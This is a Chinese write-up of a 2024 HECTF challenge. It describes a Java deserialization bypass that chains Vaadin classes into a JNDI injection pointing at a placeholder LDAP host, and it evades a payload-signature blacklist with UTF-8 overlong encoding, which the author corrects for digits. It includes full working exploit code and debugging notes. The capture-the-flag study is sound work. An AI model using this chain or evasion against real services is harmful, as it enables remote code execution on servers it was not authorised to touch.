从HECTF学习完善一下现有utf8overlong
从2024HECTF学习完善现有的UTF8Overlong绕过脚本
只有一个解
其实我看了两三个小时大致思路就清晰了,然后也向出题人请教了,思路是正确的
但是一直发不出请求
比赛结束后的又调试了一下发现是utf8overlong绕过脚本出了问题,请教了下出题人他说是因为数字的问题
解法
重写了resolveClass
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
String className = desc.getName().toLowerCase();
String[] denyClasses = new String[]{"java.net.InetAddress", "org.apache.commons.collections.Transformer", "org.apache.commons.collections.functors", "C3P0", "Jackson", "NestedMethodProperty", "TemplatesImpl"};
String[] var4 = denyClasses;
int var5 = denyClasses.length;
for(int var6 = 0; var6 < var5; ++var6) {
String denyClass = var4[var6].toLowerCase();
if (className.contains(denyClass)) {
throw new InvalidClassException("Unauthorized deserialization attempt", className);
}
}
return super.resolveClass(desc);
}
这里挺严的,pojonode直接不能用了
看下依赖发现vaadin 上网发现存在反序列化链,正好存在toString
但是NestedMethodProperty也在黑名单中,所以只剩下vaadin新链子的jndi注入
但是他还有个黑名单,校验的是Base64解码后的数据
String[] blacklist = new String[]{"BadAttributeValueExpException", "Collections$UnmodifiableList", "PropertysetItem", "AbstractClientConnector", "Enum", "SQLContainer", "LinkedHashMap", "TableQuery", "AbstractTransactionalQuery", "J2EEConnectionPool", "DefaultSQLGenerator"};
明显是校验特征,由于之前听说过utf8overlong绕过,所以这里直接就想到了
问题
然后在反序列化时就会报错
为此就下断点,调试看看是哪里出错了
下在蓝色那一行,然后一直快进,直到sbuf的值为rpcInterface
后就抛出异常
解码一下我们的payload
然后就下断点在报错点,看看具体是哪一个值抛出报错
这里就是utf8overlong绕过的原理之处
没调试明白,根据出题人所说是数字原因,我们往utf8overlong脚本中把数字也用2 byte绕过
问了下gpt给出
put('0', new int[]{0xc0, 0x30});
put('1', new int[]{0xc0, 0x31});
put('2', new int[]{0xc0, 0x32});
put('3', new int[]{0xc0, 0x33});
put('4', new int[]{0xc0, 0x34});
put('5', new int[]{0xc0, 0x35});
put('6', new int[]{0xc0, 0x36});
put('7', new int[]{0xc0, 0x37});
put('8', new int[]{0xc0, 0x38});
put('9', new int[]{0xc0, 0x39});
然后重复上面的调试方法
就可以发现导致报错的数字
可以看到,b1,b2就是我们填入map中的两个数
也就说明导致报错的原因是因为49(即0x31)也就是数字1
解决问题
首先经过测试我们能够发现b2的0x后十位上的数字每增加4,结果是相同的
b2为0x31和0x71的结果相同,类推0xb1也相同
然后把他们与0xc0的结果打印出来
发现0xb1满足我们的需求
所以更新数据即可
put('0', new int[]{0xc0, 0xb0});
put('1', new int[]{0xc0, 0xb1});
put('2', new int[]{0xc0, 0xb2});
put('3', new int[]{0xc0, 0xb3});
put('4', new int[]{0xc0, 0xb4});
put('5', new int[]{0xc0, 0xb5});
put('6', new int[]{0xc0, 0xb6});
put('7', new int[]{0xc0, 0xb7});
put('8', new int[]{0xc0, 0xb8});
put('9', new int[]{0xc0, 0xb9});
然后就能正常反序列化了
复现
import com.vaadin.data.util.PropertysetItem;
import com.vaadin.data.util.sqlcontainer.RowId;
import com.vaadin.data.util.sqlcontainer.SQLContainer;
import com.vaadin.data.util.sqlcontainer.connection.J2EEConnectionPool;
import com.vaadin.data.util.sqlcontainer.connection.SimpleJDBCConnectionPool;
import com.vaadin.data.util.sqlcontainer.query.TableQuery;
import com.vaadin.data.util.sqlcontainer.query.generator.DefaultSQLGenerator;
import com.vaadin.ui.ListSelect;
import com.vaadin.ui.NativeSelect;
import sun.reflect.ReflectionFactory;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.sql.SQLException;
import java.util.ArrayList;
import java.util.Base64;
public class Vaddin {
public static void main(String[] args) throws SQLException, InvocationTargetException, NoSuchMethodException, InstantiationException, IllegalAccessException, ClassNotFoundException, NoSuchFieldException, IOException {
J2EEConnectionPool j2EEConnectionPool=new J2EEConnectionPool("ldap://xxxxxx");
Class<?> table=Class.forName("com.vaadin.data.util.sqlcontainer.query.TableQuery");
TableQuery tableQuery= (TableQuery) createWithoutConstructor(table);
setSuperValue(tableQuery,"connectionPool",j2EEConnectionPool);
setSuperValue(tableQuery, "primaryKeyColumns", new ArrayList<>());
setSuperValue(tableQuery,"sqlGenerator",new DefaultSQLGenerator());
Constructor<SQLContainer> sql=SQLContainer.class.getDeclaredConstructor();
sql.setAccessible(true);
SQLContainer sqlContainer=sql.newInstance();
setSuperValue(sqlContainer,"queryDelegate",tableQuery);
NativeSelect nativeSelect=new NativeSelect();
RowId rowId=new RowId(new RowId("a"));
setSuperValue(nativeSelect,"value",rowId);
setSuperValue(nativeSelect,"items",sqlContainer);
setSuperValue(nativeSelect,"multiSelect",true);
PropertysetItem pItem=new PropertysetItem();
pItem.addItemProperty("test",nativeSelect);
BadAttributeValueExpException badAttributeValueExpException=new BadAttributeValueExpException("test");
setSuperValue(badAttributeValueExpException,"val",pItem);
byte[] bytes=serialize(badAttributeValueExpException);
String s = Base64.getEncoder().encodeToString(bytes);
System.out.println(s);
byte[] decode = Base64.getDecoder().decode(s);
unserialize(decode);
}
public static void unserialize(byte[] bytes) throws IOException, ClassNotFoundException {
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
ObjectInputStream ois = new ObjectInputStream(byteArrayInputStream);
ois.readObject();
}
public static byte[] serialize(Object object) throws IOException {
ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
// ObjectOutputStream objectOutputStream=new ObjectOutputStream(byteArrayOutputStream);
ObjectOutputStream objectOutputStream=new UTF8OverlongObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(object);
return byteArrayOutputStream.toByteArray();
}
public static <T>Object createWithoutConstructor(Class<?> classToInstantiate) throws NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {
return createWithoutConstructor(classToInstantiate,Object.class,new Class[0],new Object[0]);
}
public static <T>T createWithoutConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {
Constructor<?> objCons=constructorClass.getDeclaredConstructor(consArgTypes);
objCons.setAccessible(true);
Constructor<?> constructor= ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate,objCons);
constructor.setAccessible(true);
return (T) constructor.newInstance(consArgs);
}
public static Object InvokeMethod(Object object, String name) throws NoSuchFieldException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Method method=object.getClass().getDeclaredMethod(name);
method.setAccessible(true);
method.invoke(object);
return object;
}
public static void setFieldValue(Object object,String name,Object value) throws NoSuchFieldException, IllegalAccessException {
Field field=object.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(object,value);
}
public static void setSuperValue(Object object,String name,Object value) throws NoSuchFieldException, IllegalAccessException {
Field field=getField(object.getClass(),name);
field.setAccessible(true);
field.set(object,value);
}
private static Field getField(Class<?> clazz, String fieldName) {
while (clazz != null) {
try {
return clazz.getDeclaredField(fieldName);
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
return null;
}
}
其他
在找utf8overlong脚本时也发现个UTF8BytesMix脚本,看了下也能进行混淆
byte[] mixBytes = new UTF8BytesMix(bytes).builder();
String s = Base64.getEncoder().encodeToString(mixBytes);
System.out.println(s);
byte[] decode = Base64.getDecoder().decode(s);
unserialize(decode);
纠正上面说的问题出现的原因
发布文章后觉得问题出现原因不太对,因为毕竟49报错是因为我自己赋值的原因。。所以添加一段纠错说明
还是实实在在地跟进看看
这里一直跟进到报错,最后一个数是-92
Integer.toHexString(-92&0xff)
然后010去找a4(当然知道-92是最后一个数,我们也可以把前面的数一步一步转换,得到报错前的具体位置
在蓝标这里
此时的cbuf为com.vaadin.ui.NativeSelect$
然后一步一步走,就会发现读取了单个字符88(即0x58,也就是X
然后继续读取2 byte,但是246(即F6,无法解析抛出异常
010对比一下能否成功的两个文件
发现区别在于C0 B1
,即我们手动写入的数字1
看看原生序列化的结果
就应该有1
网上的utf8脚本无法成功就是因为序列化时数字没有被成功写入
当我们把数字也加入后,再次调试就会发现读取了1后就返回,不再读取,就遇不到F6的错误